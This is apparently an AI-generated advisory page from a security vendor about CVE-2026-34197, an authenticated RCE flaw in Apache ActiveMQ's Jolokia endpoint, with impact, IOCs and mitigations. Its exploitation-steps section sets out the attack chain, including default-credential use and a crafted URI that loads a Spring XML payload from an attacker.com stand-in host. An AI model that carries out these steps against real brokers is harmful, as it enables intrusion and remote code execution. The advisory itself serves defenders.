CVE-2026-34197
Java vulnerability analysis and mitigation

Overview

CVE-2026-34197 is a code injection vulnerability in Apache ActiveMQ Classic that allows authenticated attackers to achieve remote code execution (RCE) on the broker's JVM via the exposed Jolokia JMX-HTTP bridge. The vulnerability was discovered by Naveen Sunkavally of Horizon3.ai and disclosed on April 6–7, 2026. It affects Apache ActiveMQ and Apache ActiveMQ Broker versions before 5.19.4 and from 6.0.0 before 6.2.3. It carries a CVSS v3.1 base score of 8.8 (High) (Apache Advisory, GitHub Advisory).

Technical details

The root cause is classified as CWE-20 (Improper Input Validation) and CWE-94 (Improper Control of Code Generation). Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on its web console, and the default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI containing a VM transport brokerConfig parameter that causes ResourceXmlApplicationContext to load a remote, attacker-controlled Spring XML application context. Because Spring instantiates all singleton beans before the BrokerService validates the configuration, arbitrary OS commands execute on the broker's JVM via bean factory methods such as Runtime.exec() or ProcessBuilder (Apache Advisory, Oss-Security). A complete Metasploit module exploiting this mechanism via crafted HTTP POST requests to the Jolokia endpoint is publicly available (Metasploit).

Impact

Successful exploitation grants an authenticated attacker with low privileges full code execution on the ActiveMQ broker's JVM, resulting in high impact to confidentiality, integrity, and availability. Attackers can exfiltrate sensitive data processed by the message broker, modify or destroy broker configuration and messages, and disrupt availability of the messaging infrastructure. The broker's privileged position in enterprise environments makes it a high-value pivot point for lateral movement into connected systems and services (Apache Advisory, CISA KEV). Approximately 6,400 publicly exposed ActiveMQ instances were identified as vulnerable during active exploitation (BleepingComputer).

Exploitation steps

  1. Reconnaissance: Identify internet-facing Apache ActiveMQ Classic instances using tools like Shodan or Censys, targeting versions before 5.19.4 or 6.0.0–6.2.2. Confirm the web console is accessible (default port 8161) and the Jolokia endpoint is reachable at /api/jolokia/.
  2. Obtain credentials: Acquire valid ActiveMQ web console credentials (default credentials admin:admin are common in unpatched deployments, or use credentials obtained via phishing or credential stuffing).
  3. Host malicious Spring XML: Set up an attacker-controlled HTTP server hosting a malicious Spring XML application context file that defines a bean using ProcessBuilder or Runtime.exec() to execute an OS command (e.g., a reverse shell payload).
  4. Craft Jolokia request: Send an authenticated HTTP POST request to /api/jolokia/exec targeting the BrokerService.addNetworkConnector(String) or BrokerService.addConnector(String) MBean operation. Include a crafted discovery URI in the request body that embeds a VM transport brokerConfig parameter pointing to the attacker's Spring XML URL (e.g., vm://localhost?brokerConfig=xbean:http://attacker.com/malicious.xml).
  5. Trigger Spring XML loading: The broker's VM transport processes the brokerConfig parameter and invokes ResourceXmlApplicationContext to fetch and parse the remote XML file, instantiating all defined beans before any validation occurs.
  6. Achieve code execution: The malicious bean factory method executes the attacker's OS command on the broker's JVM, establishing a reverse shell or executing a payload for persistence, data exfiltration, or lateral movement (Apache Advisory, Metasploit).

Indicators of compromise

  • Network: Unusual HTTP POST requests to /api/jolokia/exec on the ActiveMQ web console (port 8161) with MBean targets BrokerService.addNetworkConnector or BrokerService.addConnector; outbound HTTP/HTTPS connections from the ActiveMQ server to external hosts (fetching remote Spring XML); unexpected outbound connections (reverse shells) from the ActiveMQ process to attacker-controlled IPs.
  • Logs: ActiveMQ access logs showing authenticated POST requests to /api/jolokia/exec with crafted URI parameters containing brokerConfig=xbean:http://; Java stack traces in ActiveMQ logs related to ResourceXmlApplicationContext loading remote URLs; Spring context initialization errors or unexpected bean instantiation logs.
  • Process: Unusual child processes spawned by the ActiveMQ Java process (e.g., /bin/bash, cmd.exe, curl, wget, python, powershell); unexpected network connections initiated by the Java process.
  • File System: New or modified files in the ActiveMQ installation directory (web shells, scripts, or persistence mechanisms); unexpected cron jobs or scheduled tasks created under the ActiveMQ service account.
  • Authentication: Successful logins to the ActiveMQ web console from unusual source IPs or at unusual times, particularly followed immediately by Jolokia API calls (Apache Advisory, TeamT5).

Mitigation and workarounds

Apache has released patched versions: 5.19.4 (or 5.19.5 per GitHub Advisory) and 6.2.3; upgrading to one of these versions is the primary recommended remediation (Apache Advisory, GitHub Advisory). CISA mandated that federal agencies apply mitigations by April 30, 2026 (CISA KEV). If immediate patching is not possible, the following workarounds should be applied:

  • Restrict network access to the ActiveMQ web console (port 8161) to trusted IP ranges only.
  • Disable or restrict the Jolokia JMX-HTTP bridge (/api/jolokia/) if not operationally required.
  • Enforce strong, non-default credentials for the ActiveMQ web console.
  • Block outbound HTTP/HTTPS connections from the ActiveMQ server to prevent remote Spring XML loading.

Community reactions

The vulnerability attracted significant attention due to its 13-year latency in the codebase and the notable fact that it was discovered using Anthropic's Claude AI model in under 10 minutes, sparking broad discussion about AI-assisted vulnerability research (Horizon3.ai, BleepingComputer). Horizon3.ai, the discovering organization, published a detailed technical blog and was widely cited across security media including The Hacker News, SecurityWeek, BleepingComputer, and Infosecurity Magazine. CISA's rapid addition to the KEV catalog (within 9 days of disclosure) and the federal patch mandate generated significant community discussion on Reddit, Mastodon, and LinkedIn. TeamT5 published an active exploitation alert in June 2026, confirming ongoing in-the-wild attacks (TeamT5). The Shadowserver Foundation also reported scanning data showing thousands of exposed vulnerable instances.

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-p279-2cqp-84jgCRITICAL9.6
  • Java logoJava
  • org.openidentityplatform.opendj:opendj-server-legacy
NoYesJul 24, 2026
GHSA-fp43-vj7g-pg92HIGH7.5
  • Java logoJava
  • org.omnifaces:omnifaces
NoYesJul 24, 2026
GHSA-7ppr-r889-mcf2HIGH7.5
  • Java logoJava
  • org.http4s:http4s-blaze-server_2.12
NoYesJul 24, 2026
GHSA-mhvj-jhpq-885vHIGH7.4
  • Java logoJava
  • org.http4s:http4s-blaze-server_2.13
NoYesJul 24, 2026
GHSA-46q4-43ph-c6frHIGH7.4
  • Java logoJava
  • org.http4s:blaze-http_2.12
NoYesJul 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management